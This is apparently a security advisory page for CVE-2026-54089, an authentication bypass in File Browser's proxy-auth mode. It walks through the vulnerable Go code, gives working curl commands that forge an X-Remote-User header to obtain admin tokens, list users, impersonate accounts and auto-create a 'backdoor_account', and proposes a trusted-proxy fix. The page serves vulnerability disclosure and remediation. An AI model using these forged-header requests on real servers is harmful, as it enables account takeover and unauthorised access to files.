CVE-2026-54089Critical· 9.1▾ MidnightFile Browser: Authentication Bypass via Proxy Auth Header Forgery
▾ Midnight zone — Critical, or high with PoC / in-the-wild
impact 50.1 · likelihood 0.1 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
When FileBrowser is configured with proxy authentication (auth.method=proxy), any unauthenticated attacker who can reach the server directly can impersonate any user - including admin - by sending a single forged HTTP header. No credentials are required. Additionally, specifying a non-existent username causes the server to automatically create a new user account, providing an account creation primitive with no authorization.
This is an already known issue that has been documented in the documentation for several years, but has not been documented as a vulnerability before.
HIGH - CVSS 3.1: 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
auth/proxy.go, lines 21-28auth.method=proxyThis vulnerability is NOT exploitable on default configuration (auth.method=json). It requires the administrator to have configured proxy authentication mode. However, this is a common production deployment pattern - many organizations run FileBrowser behind a reverse proxy that handles SSO/LDAP/OAuth authentication:
In these setups, the proxy authenticates the user and passes the username via HTTP header (e.g., X-Remote-User). FileBrowser trusts this header to identify the user.
| Deployment Scenario | Exploitable? |
|---|---|
Default install (auth.method=json) | No — JSON auth uses password verification |
auth.method=proxy + FileBrowser only reachable via proxy (bound to 127.0.0.1 or firewalled) | No - attacker cannot reach the server directly |
auth.method=proxy + FileBrowser port exposed to network | Yes - full admin takeover |
The third scenario is common because:
0.0.0.0 by default (e.g., -p 8085:80)The core issue is that the code itself has zero defensive checks — no trusted IP validation, no shared secret, no origin verification. The entire security model relies on network-level isolation, which is fragile and not documented as a hard requirement.
The ProxyAuth.Auth() function unconditionally trusts the value of an HTTP request header (configured via auth.header, e.g. X-Remote-User) to determine the authenticated user's identity. There are three distinct problems in this code:
The function reads the header from any HTTP request regardless of source IP. It does not verify that the request originated from a trusted reverse proxy. Any client on the network can set arbitrary HTTP headers.
File: auth/proxy.go, lines 21-28:
func (a ProxyAuth) Auth(r *http.Request, usr users.Store, setting *settings.Settings, srv *settings.Server) (*users.User, error) {
username := r.Header.Get(a.Header) // <-- reads attacker-controlled header, no origin check
user, err := usr.Get(srv.Root, username)
if errors.Is(err, fberrors.ErrNotExist) {
return a.createUser(usr, setting, srv, username)
}
return user, err // <-- returns the user object, no password verification
}
There is no call to verify r.RemoteAddr against a list of trusted proxy IPs, no shared secret validation, and no signature check on the header value.
Unlike JSON auth (auth/json.go) which validates the password via bcrypt, the proxy auth path returns the user object directly from the database based solely on the header value. The loginHandler in http/auth.go then mints a valid JWT for this user:
File: http/auth.go, lines 121-137:
func loginHandler(tokenExpireTime time.Duration) handleFunc {
return func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {
auther, err := d.store.Auth.Get(d.settings.AuthMethod)
// ...
user, err := auther.Auth(r, d.store.Users, d.settings, d.server)
// No additional verification — if auther.Auth() returns a user, a JWT is minted
return printToken(w, r, d, user, tokenExpireTime) // <-- signs and returns JWT
}
}
If the username in the header doesn't exist in the database, createUser() is called unconditionally. This creates a real user account with default permissions, a random locked password, and a home directory:
File: auth/proxy.go, lines 30-63:
func (a ProxyAuth) createUser(usr users.Store, setting *settings.Settings, srv *settings.Server, username string) (*users.User, error) {
pwd, err := users.RandomPwd(randomPasswordLength)
// ...
user := &users.User{
Username: username, // <-- attacker-controlled
Password: hashedRandomPassword,
LockPassword: true,
}
setting.Defaults.Apply(user) // <-- inherits default permissions (may include execute, create, etc.)
// ...
err = usr.Save(user) // <-- persisted to database
return user, nil
}
This auto-creation has no opt-in flag — it is always active when proxy auth is enabled.
Attacker sends: POST /api/login + Header: X-Remote-User: admin
|
loginHandler() |
|-> d.store.Auth.Get("proxy") |
|-> auther.Auth(r, ...) |
|-> ProxyAuth.Auth() |
|-> r.Header.Get("X-Remote-User") -> "admin" (attacker-controlled)
|-> usr.Get(root, "admin") -> admin user (found in DB)
|-> return user, nil -> no password check
|-> printToken(w, r, d, user, ...) |
|-> jwt.NewWithClaims(HS256, claims{user: admin, perm: {admin: true}})
|-> token.SignedString(key) -> valid admin JWT returned to attacker
Here is Log testing using Low Privileges Account attacker, get forbidden
Login as low priv user then get the auth token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjozLCJsb2NhbGUiOiIiLCJ2aWV3TW9kZSI6Imxpc3QiLCJzaW5nbGVDbGljayI6ZmFsc2UsInJlZGlyZWN0QWZ0ZXJDb3B5TW92ZSI6ZmFsc2UsInBlcm0iOnsiYWRtaW4iOmZhbHNlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOmZhbHNlLCJyZW5hbWUiOmZhbHNlLCJtb2RpZnkiOmZhbHNlLCJkZWxldGUiOmZhbHNlLCJzaGFyZSI6ZmFsc2UsImRvd25sb2FkIjp0cnVlfSwiY29tbWFuZHMiOlsibHMiXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZSwiZGF0ZUZvcm1hdCI6ZmFsc2UsInVzZXJuYW1lIjoiYXR0YWNrZXIiLCJhY2VFZGl0b3JUaGVtZSI6IiJ9LCJpc3MiOiJGaWxlIEJyb3dzZXIiLCJleHAiOjE3NzMwMjc2ODksImlhdCI6MTc3MzAyMDQ4OX0.NN0SqBr8lFj7QUACY2770gaGXZhBZ2qJZHDJJ7vQbNM"
root@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \
-H "X-Auth: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjozLCJsb2NhbGUiOiIiLCJ2aWV3TW9kZSI6Imxpc3QiLCJzaW5nbGVDbGljayI6ZmFsc2UsInJlZGlyZWN0QWZ0ZXJDb3B5TW92ZSI6ZmFsc2UsInBlcm0iOnsiYWRtaW4iOmZhbHNlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOmZhbHNlLCJyZW5hbWUiOmZhbHNlLCJtb2RpZnkiOmZhbHNlLCJkZWxldGUiOmZhbHNlLCJzaGFyZSI6ZmFsc2UsImRvd25sb2FkIjp0cnVlfSwiY29tbWFuZHMiOlsibHMiXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZSwiZGF0ZUZvcm1hdCI6ZmFsc2UsInVzZXJuYW1lIjoiYXR0YWNrZXIiLCJhY2VFZGl0b3JUaGVtZSI6IiJ9LCJpc3MiOiJGaWxlIEJyb3dzZXIiLCJleHAiOjE3NzMwMjc2ODksImlhdCI6MTc3MzAyMDQ4OX0.NN0SqBr8lFj7QUACY2770gaGXZhBZ2qJZHDJJ7vQbNM"
403 Forbidden
root@LAPTOP-VUMRCEKO:~#
root@LAPTOP-VUMRCEKO:~#
root@LAPTOP-VUMRCEKO:~# FORGED_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
-H "X-Remote-User: admin")
root@LAPTOP-VUMRCEKO:~#
root@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \
-H "X-Auth: $FORGED_TOKEN" | python3 -m json.tool
{
"signup": false,
"hideLoginButton": true,
"createUserDir": false,
"minimumPasswordLength": 12,
"userHomeBasePath": "/users",
"defaults": {
"scope": ".",
"locale": "en",
"viewMode": "mosaic",
"singleClick": false,
"redirectAfterCopyMove": true,
"sorting": {
"by": "",
"asc": false
},
"perm": {
"admin": false,
"execute": true,
"create": true,
"rename": true,
"modify": true,
"delete": true,
"share": true,
"download": true
},
"commands": [],
"hideDotfiles": false,
"dateFormat": false,
"aceEditorTheme": ""
},
"authMethod": "proxy",
"rules": [],
"branding": {
"name": "",
"disableExternal": false,
"disableUsedPercentage": false,
"files": "",
"theme": "",
"color": ""
},
"tus": {
"chunkSize": 10485760,
"retryCount": 5
},
"shell": [
"/bin/sh",
"-c"
],
"commands": {
"after_copy": [],
"after_delete": [],
"after_rename": [],
"after_save": [],
"after_upload": [],
"before_copy": [],
"before_delete": [],
"before_rename": [],
"before_save": [],
"before_upload": []
}
}
root@LAPTOP-VUMRCEKO:~#
<img width="1487" height="757" alt="image" src="https://github.com/user-attachments/assets/a777321e-14a4-4720-9f8e-423d5f7cdf74" />
filebrowser config set --auth.method=proxy --auth.header=X-Remote-User
# Using a legitimate non-admin JWT token:
curl -s http://localhost:8085/api/settings \
-H "X-Auth: <ATTACKER_JWT_TOKEN>"
Result: 403 Forbidden — non-admin users cannot access /api/settings
# Just one header, no password:
FORGED_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
-H "X-Remote-User: admin")
echo "$FORGED_TOKEN"
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjoxLC... (608 bytes)
Result: Valid JWT token returned for admin user (ID: 1, perm.admin: true)
# Read full server configuration (admin-only):
curl -s http://localhost:8085/api/settings \
-H "X-Auth: $FORGED_TOKEN"
Result: 200 OK - complete server settings returned:
{
"authMethod": "proxy",
"shell": ["/bin/sh", "-c"],
"signup": false,
"defaults": { "perm": { "admin": false, "execute": true, ... } },
...
}
curl -s http://localhost:8085/api/users \
-H "X-Auth: $FORGED_TOKEN"
Result: All user accounts with full details (usernames, permissions, scopes, commands)
# Impersonate "testuser" — access their files without knowing their password:
VICTIM_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
-H "X-Remote-User: testuser")
curl -s http://localhost:8085/api/resources/ \
-H "X-Auth: $VICTIM_TOKEN"
Result: Full file listing of testuser's scope
# This username doesn't exist — server creates it automatically:
NEW_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
-H "X-Remote-User: backdoor_account")
Result: New user backdoor_account created in the database with default permissions, JWT returned
Tested against filebrowser/filebrowser:latest Docker image on 2026-03-09:
| Test | Result |
|---|---|
Attacker token (non-admin) -> GET /api/settings | 403 Forbidden (blocked) |
Forged header X-Remote-User: admin -> POST /api/login | 200 OK — valid admin JWT (608 bytes) |
Forged admin token -> GET /api/settings | 200 OK — full server config returned |
Forged admin token -> GET /api/users | 200 OK — all user accounts listed |
Forged header X-Remote-User: testuser | 200 OK — testuser JWT, files accessible |
Forged header X-Remote-User: nonexistent_user | 200 OK — new user auto-created, JWT returned |
An unauthenticated attacker who can reach the FileBrowser instance directly can:
Attack cost: Zero credentials. One HTTP header.
type ProxyAuth struct {
Header string `json:"header"`
TrustedProxies []string `json:"trustedProxies"` // New: list of trusted proxy IPs/CIDRs
}
func (a ProxyAuth) Auth(r *http.Request, usr users.Store, setting *settings.Settings, srv *settings.Server) (*users.User, error) {
// Verify request originates from a trusted reverse proxy
clientIP := realip.FromRequest(r)
if !a.isTrustedProxy(clientIP) {
return nil, fmt.Errorf("proxy auth: request from untrusted source %s", clientIP)
}
username := r.Header.Get(a.Header)
if username == "" {
return nil, os.ErrPermission
}
user, err := usr.Get(srv.Root, username)
if errors.Is(err, fberrors.ErrNotExist) {
if a.AutoCreateUsers { // Make opt-in
return a.createUser(usr, setting, srv, username)
}
return nil, os.ErrPermission
}
return user, err
}
Add a configuration flag auth.proxy.createUsers (default: false) so administrators must explicitly enable automatic account creation.
Clearly document that when using proxy auth:
127.0.0.1 or use firewall rules to ensure only the reverse proxy can reach itgithub.com/filebrowser/filebrowser/v2 >= 2.0.0-rc.1, <= 2.63.18Refer to the advisory for the patched release.
Connected by shared product, vendor, weakness, or advisory.
CVE-2026-54088CriticalFile Browser: Command Injection via Authentication Hook Shell Substitution (Pre-Authentication RCE)
CVE-2026-54096HighFile Browser: Improper Access Control Occurs via Pre-Created Public Share for a Non-existent Path
CVE-2026-54092High· 6.5File Browser has a DoS Vulnerability via Public Login API
CVE-2026-54094Medium· 6.8File Browser: Symlink following lets scoped users read, overwrite, and share files outside their filebrowser scope
CVE-2026-54093MediumFile Browser: FilePath traversal in download-as-zip/tar via Windows-style backslash separators in stored filenames
CVE-2026-54091High· 7.5File Browser has incorrect access control for public directory shares via rule path rebasing